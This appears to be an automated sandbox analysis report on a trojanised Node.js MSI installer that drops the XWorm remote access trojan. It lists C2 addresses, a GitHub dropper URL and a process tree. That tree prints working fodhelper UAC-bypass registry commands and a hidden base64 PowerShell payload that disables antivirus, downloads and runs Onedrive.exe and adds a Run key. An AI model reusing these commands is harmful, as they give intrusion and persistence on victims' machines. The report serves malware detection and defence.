Overview

overview

10

Static

static

1

node-v22.11.0-x64.msi

windows11-21h2-x64

10

Resubmissions

18/12/2024, 02:12

241218-cm8dysyjet 10

18/12/2024, 02:09

241218-ck8a6sxrd1 10

Analysis

  • max time kernel
    433s
  • max time network
    693s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18/12/2024, 02:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    node-v22.11.0-x64.msi

  • Size

    28.9MB

  • MD5

    fa9e1f3064a66913362e9bff7097cef5

  • SHA1

    b34f1f9a9f6242c54486a4bc453a9336840b4425

  • SHA256

    9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

  • SHA512

    ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

  • SSDEEP

    786432:EtShU+9S49htlhk3tKuiU9IsO9IP1/lBMS8k4:EAUK/U9IN961/l

Score
10/10
xwormdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/michealjames96/robIox-cdn/raw/refs/heads/main/Onedrive.exe

Extracted

Family

xworm

C2

127.0.0.1:10025

147.185.221.24:10025
Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 19 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 45 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\node-v22.11.0-x64.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3896
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5572
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding F12A0D8A23C15918315CCF3690254275 C
      2⤵
      • Loads dropped DLL
      PID:5956
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5260
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 217E771CDF686B93D768A853270C5FF1
        2⤵
        • Loads dropped DLL
        PID:3104
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 7434AF757E463478C48D33E6764FF9F9 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        PID:760
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 129A270BE827233664F649D4238B8CCF
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4984
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2776
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:5904
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:6068
          • C:\Program Files\nodejs\node.exe
            "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
            3⤵
            • Executes dropped EXE
            PID:1608
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i rbx-reader-ts
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c exit 0
            3⤵
              PID:796
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c node postinstall
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2032
              • C:\Program Files\nodejs\node.exe
                node postinstall
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:4980
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\Admin\AppData\screenshot.png" "
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1424
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\Admin\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
                    6⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:392
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA757.tmp" "c:\Users\Admin\AppData\Local\Temp\screenCapture\CSC4F8EF883FF4B4EC491BBDFFA92E54.TMP"
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:3784
                  • C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
                    screenCapture_1.3.2.exe "C:\Users\Admin\AppData\screenshot.png"
                    6⤵
                    • Executes dropped EXE
                    PID:4564
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\9agzzzfs23neu19x2wbl\Shell\open\command" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:908
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\9agzzzfs23neu19x2wbl\Shell\open\command" /f
                    6⤵
                    • Modifies registry class
                    PID:2040
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\9agzzzfs23neu19x2wbl\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1788
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\9agzzzfs23neu19x2wbl\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe" /f
                    6⤵
                    • Modifies registry class
                    PID:4524
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5984
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
                    6⤵
                    • Modifies registry class
                    PID:4336
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2984
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f
                    6⤵
                    • Modifies registry class
                    PID:5496
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:572
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                    6⤵
                    • Modifies registry class
                    PID:5444
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe""
                  5⤵
                  • Hide Artifacts: Hidden Window
                  • Suspicious use of WriteProcessMemory
                  PID:5628
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe"
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4084
                    • C:\Windows\System32\fodhelper.exe
                      "C:\Windows\System32\fodhelper.exe"
                      7⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2964
                      • C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe
                        "C:\WindowsApi\9d1cd01136649a2d20a402fb8ef9389467d327ec.exe" /c powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                        8⤵
                        • Executes dropped EXE
                        PID:1500
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                          9⤵
                          • Blocklisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Adds Run key to start application
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4896
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yl4accxy\yl4accxy.cmdline"
                            10⤵
                              PID:2316
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESACA6.tmp" "c:\Users\Admin\AppData\Local\Temp\yl4accxy\CSCFEFA3063D6CB4B6897EFD889556D.TMP"
                                11⤵
                                  PID:3332
                              • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
                                "C:\Users\Admin\AppData\Local\Temp\Onedrive.exe"
                                10⤵
                                • Drops startup file
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of SetWindowsHookEx
                                PID:232
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }""
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5404
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }"
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:764

            Network

            MITRE ATT&CK Enterprise v15

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            PowerShell

            1
            T1059.001

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            1
            T1546

            Installer Packages

            1
            T1546.016

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            1
            T1546

            Installer Packages

            1
            T1546.016

            Defense Evasion

            Hide Artifacts

            1
            T1564

            Hidden Window

            1
            T1564.003

            Modify Registry

            1
            T1112

            System Binary Proxy Execution

            1
            T1218

            Msiexec

            1
            T1218.007

            Credential Access

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            2
            T1012

            System Information Discovery

            3
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            Lateral Movement

            Collection

            Command and Control

            Web Service

            1
            T1102

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Config.Msi\e5816df.rbs
              Filesize

              935KB

              MD5

              0623ae76c27dfdc80cc044d011dada97

              SHA1

              f943e27f49fee9e154313549e553af1a353a9d26

              SHA256

              6f361be5015193667dc36e7c09177ba35ea2a22b3891867661acf95349edce50

              SHA512

              1a064199fef874b885bb6349a175a8e776e35f548d09cfd7cd9b38a4043a48e79945d52d19976995cea2cd7617bec83614464a39090af034b3c2312c7c873bc7

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\bin\npm-prefix.js
              Filesize

              864B

              MD5

              92dd1b5a463374142271ff420cb473a5

              SHA1

              a9f946c6a8c6f273f837703acc74c367b7781a99

              SHA256

              673f620e40137c295f2cf057364468bf3a71653dfc0973be895ebf7a8c368c2e

              SHA512

              5e0a6e4a9cff4b37acbece070a592a65ed044a78e1b104517eb5bb233d4398f67140b44e986e7a2de16bfb65b0ab7609e831341efea2a6f583258b6a85f70e01

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definition.js
              Filesize

              6KB

              MD5

              882260e7dd69f6a1403c4b364412ef59

              SHA1

              a3f3f9430c43ab1e0e485532cc4ddfe73cac7784

              SHA256

              8d2dd6fdf38c2cceed52e113d3c179510280f7f9eccb3fa8d9f257edea2b0741

              SHA512

              bec5072a0c0cacc51919d4dbcdedeb99f1450e3f9cf1f0786a08a96c8bb06763da41b375afb932652693ac3558f32775abfa73658db386a15c8515ac19207665

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definitions.js
              Filesize

              74KB

              MD5

              ac2829ac584b52c925a7159c1a9cbfea

              SHA1

              3cdaf7d42cb81090742ca76988e80f06b3f98764

              SHA256

              79164e3881df94b91226fecfbb40133ab1f26d6bf66953f37f72dc1dd5bb9610

              SHA512

              fb77ef96f4a8ee1f6958dff93dd669b033b17a7b1ab5713d224dbeb32773d75c924e6bf04f779736413a14e7426d86c65daa7b4381c3a6294bb5d2e9a1981774

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\index.js
              Filesize

              2KB

              MD5

              37d8a6912f48e0f28461f69815985ee8

              SHA1

              06cb384f853ae5cc622cccaed2dd51ae763bc742

              SHA256

              8082123435ecf20322d330e1efe7ff2ebba7b48b9a33950f11ff57e06319f225

              SHA512

              289c30d5a0c540d70dd0504c28ad771c871d541a41e9490c94f2c2d365b52b478fef6a2485f0d7671f26b1746d28762f9c28d5917c2ceb38ea11b25f7e67a816

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\env-replace.js
              Filesize

              428B

              MD5

              5b09814c86692cb123e72a3c83df5cc5

              SHA1

              be27af27e16d27bc7b35ce23ca0102658bc7915d

              SHA256

              faf24168246ff247179947ca899172d442688c599840ccf41798cada6c36bc3c

              SHA512

              a007e64b2e948599280af40aedacb9063619b1fce124393d240070201765595387fb7d5a49f63817de310676c309106349e35637790cbd629e9155c282efe360

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\index.js
              Filesize

              29KB

              MD5

              a2819bc319ade96e220b81c11ba1fd62

              SHA1

              f711920489d12ac7704e323de4cea98009299e7d

              SHA256

              9976a7f202a683370a170f8ab053d89cf6450c9d0596d8bed92bb762f0dca92e

              SHA512

              64b409c59d3e7df84ddd87163fb03f38d1bbed259323392685e01103ff9d2a43b456a5df5812e2bd3de61e0ae61520ccad444a92ea908a15bd871146630edd32

              Download Submit

            • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\nerf-dart.js
              Filesize

              473B

              MD5

              014e5e4e67fc63e70b80f6de6f727ac7

              SHA1

              ae25851c771c860082f445e5c3553f59eecf6830

              SHA256

              7d0ee69ea790e4658d5029cdd728eb6375d0feed79af8b24dac99723e25cbbc7

              SHA512

              5a6e22ef53e66a719150c30001b183eaa475912e2ffbc4b2bfb036cc8fd5bc7b19fa1c72cd05688b7bfb8a48392371df784c252b0f560d5e26faee55eca92379

              Download Submit

